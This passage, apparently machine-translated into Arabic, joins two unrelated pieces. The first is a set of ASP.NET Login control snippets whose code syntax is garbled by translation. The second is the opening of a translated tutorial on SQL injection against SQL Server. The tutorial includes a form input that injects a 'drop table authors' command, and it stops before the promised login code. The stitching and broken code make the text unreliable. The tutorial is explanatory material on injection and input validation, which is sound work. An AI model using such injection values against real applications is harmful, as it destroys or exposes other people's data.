Page_Load باطل محمي (مرسل الكائن ، EventArgs e) (إذا (! This.IsPostBack) ViewState ["LoginErrors"] = 0 ؛) دخول باطل محمي Login1_LoginError (مرسل الكائن ، EventArgs e) (// في حالة عدم وجود حالة تسجيل الدخول ، قم بإنشاء إذا كانت (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0 ؛ // قم بزيادة عداد محاولات تسجيل الدخول الفاشلة int ErrorCount = (int) ViewState ["LoginErrors"] + 1 ؛ ViewState ["LoginErrors" "] = ErrorCount؛ // تحقق من عدد المحاولات غير الناجحة إذا ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl) ؛)

ينشئ عنصر التحكم في تسجيل الدخول الأحداث بالترتيب الموضح في الشكل أدناه:

كما ذكرنا سابقًا ، إذا اعترضت حدث المصادقة ، فيجب عليك إضافة اسم المستخدم الخاص بك ورمز التحقق من كلمة المرور. ملكية المصادقةيحتفظ بمثيل لقائمة معلمات AuthenticateEventArgs. تدعم فئة وسيطة الحدث هذه خاصية واحدة تسمى Authenticated. إذا تم التعيين على "صحيح" ، يفترض عنصر التحكم في تسجيل الدخول أن المصادقة كانت ناجحة ويرفع الحدث LoggedIn. إذا قمت بتعيين هذه الخاصية على false ، فسيتم عرض FailureText ويظهر حدث LoginError:

الدخول المحمي الباطل 1_Authenticate (مرسل الكائن ، AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName، Login1.Password)) (e.Authenticated = true؛) else (e.Authenticated = false؛))

كما ترى ، هناك وصول مباشر إلى القيم المدخلة من خلال خصائص اسم المستخدم وكلمة المرور ، والتي تحتوي على النص الذي تم إدخاله في مربعات النص المقابلة. إذا كنت تستخدم عناصر تحكم نموذجية وتريد الحصول على قيمة من عنصر تحكم آخر ، بالإضافة إلى اسم المستخدم وكلمة المرور ، يمكنك استخدام طريقة FindControl () للحصول على هذا التحكم الإضافي. تأخذ هذه الطريقة معرف العنصر المطلوب وتقوم بإرجاع مثيل System.Web.UI.Control. ثم يتم تحويل الكائن الناتج ببساطة إلى نوع عنصر التحكم المطلوب ، ويتم قراءة القيمة المطلوبة بواسطة طريقة المصادقة المخصصة للمستخدم.

هذا العمل هو ترجمة لجزء من Chris Anley's Advanced SQL Injection In SQL Server Applications. ()
في المقالات اللاحقة ، رهنا بتوفر وقت الفراغ ، سيتم الانتهاء من هذه الترجمة.

ملاحظة. ستكون الترجمة أكثر تشويقًا للأغراض التعليمية والتاريخية.

عنوان المقالة الأصلي: إدخال SQL متقدم في تطبيقات SQL.

حاشية. ملاحظة

تفاصيل هذه المقالة طرق "حقن SQL" الشائعة لنظام Microsoft Internet Information Server / Active Server Pages / SQL Server الأساسي المعروف. يناقش الاستخدامات المختلفة لحقن SQL في التطبيقات ويشرح طرق التحقق من صحة البيانات وتأمين قواعد البيانات حيث يمكن استخدام الحقن.

مقدمة

لغة الاستعلام الهيكلية (SQL) هي لغة هيكلية تستخدم للتفاعل مع قواعد البيانات. هناك العديد من "اللهجات" للغة SQL ، ولكن معظمها اليوم يعتمد على معيار SQL-92 ، وهو أحد أقدم معايير ANSI. كتلة التشغيل الرئيسية في SQL هي الاستعلام ، وهو عبارة عن مجموعة من التعبيرات التي عادةً ما تُرجع مجموعة نتائج. يمكن لتعبيرات SQL تعديل بنية قواعد البيانات (باستخدام تعبيرات لغة تعريف البيانات (DLL)) والتعامل مع محتواها (باستخدام تعبيرات لغة معالجة البيانات (DML)). في هذه الورقة ، سنلقي نظرة على معاملة SQL المستخدمة في Microsoft SQL Server.

يكون إدخال SQL ممكنًا عندما يتمكن المهاجم من إدخال SQL الخاص به في استعلام لمعالجة البيانات التي يتم إرسالها إلى التطبيق.

تبدو عبارة SQL النموذجية كما يلي:

حدد الهوية ، والاسم الأول ، واللقب من المؤلفين

يأخذ هذا التعبير "المعرف" و "الاسم الأول" و "اللقب" من أعمدة جدول "المؤلفين" ويعيد جميع الصفوف في الجدول. يمكن تحديد التحديد بواسطة "مؤلف" معين ، على سبيل المثال:

حدد المعرف والاسم الأول واللقب من المؤلفين حيث الاسم الأول = "john" واللقب = "smith"

وتجدر الإشارة إلى أنه في هذا الاستعلام ، يتم فصل القيم الحرفية للسلسلة بعلامة اقتباس واحدة. من المفترض أن "الاسم الأول" و "الاسم المحيط" هما مدخلات المستخدم. في هذه الحالة ، سيتمكن المهاجم من إدخال استعلام SQL الخاص به عن طريق إضافة قيمه الخاصة إلى التطبيق. على سبيل المثال:

الاسم الأول: jo "hn ، اللقب: smith

ثم يأخذ التعبير الشكل التالي:

حدد المعرف والاسم الأول واللقب من المؤلفين حيث الاسم الأول = "jo" hn "واللقب =" smith "

بعد أن تحاول قاعدة البيانات معالجة هذا الطلب ، سيتم إرجاع الخطأ التالي:

الخادم: رسالة 170 ، مستوى 15 ، حالة 1 ، سطر 1 سطر 1: بناء جملة غير صحيح بالقرب من "hn".

سيكون سبب الخطأ هو أن الاقتباس الفردي الذي تم إدخاله سوف يفسد بنية المحددات في الاستعلام. وبالتالي ، ستحاول قاعدة البيانات تنفيذ الأمر "hn" دون جدوى ، مما سيؤدي إلى حدوث خطأ. نتيجة لذلك ، إذا قام المهاجم بإدخال المعلومات التالية في النموذج:

الاسم الأول: jo "؛ إسقاط مؤلفي الجدول - اللقب:

سيتم إسقاط جدول "المؤلفين" ، لذلك سننظر في السبب لاحقًا.

قد تعتقد أنه إذا أزلنا علامات الاقتباس الفردية من نموذج الإدخال ، وقمنا أيضًا "باستبدالها" ، فقد يحل هذا مشكلتنا. وستكون على حق ، مع ذلك ، هناك بعض المشاكل في استخدام هذه الطريقة كحل لهذه المشكلة. أولاً ، ليست كل مدخلات المستخدم عبارة عن "سلاسل". حيث سيحتوي النموذج المخصص على "معرف" المؤلف ، والذي يكون عادةً رقمًا. على سبيل المثال ، قد يبدو طلبنا كالتالي:

حدد المعرف والاسم الأول واللقب من المؤلفين حيث المعرف = 1234

في هذه الحالة ، يمكن للمهاجم بسهولة إضافة أي عبارة SQL بعد البيانات الرقمية. في أنواع أخرى من استعلامات SQL ، يتم استخدام محددات مختلفة. على سبيل المثال ، في Microsoft Jet DBMS ، يكون المحدد هو "#". ثانيًا ، "الهروب" من الاقتباسات المنفردة ليس بأي حال أسهل طريقة لحماية نفسك ، كما قد يبدو للوهلة الأولى. سنتحدث عن هذا بمزيد من التفصيل لاحقًا.

فيما يلي مثال يستند إلى صفحة تسجيل دخول Active Server Pages (ASP) التي تستخدم SQL للوصول إلى قاعدة بيانات لتفويض مستخدم في أحد التطبيقات.

هذا هو رمز الصفحة التي تحتوي على نموذج تسجيل الدخول ، حيث يتم إدخال اسم المستخدم وكلمة المرور.

صفحة تسجيل الدخول

تسجيل الدخول

اسم المستخدم:
كلمه السر:

يوجد أدناه الكود (process_login.asp) الذي يحدد صحة البيانات المدخلة.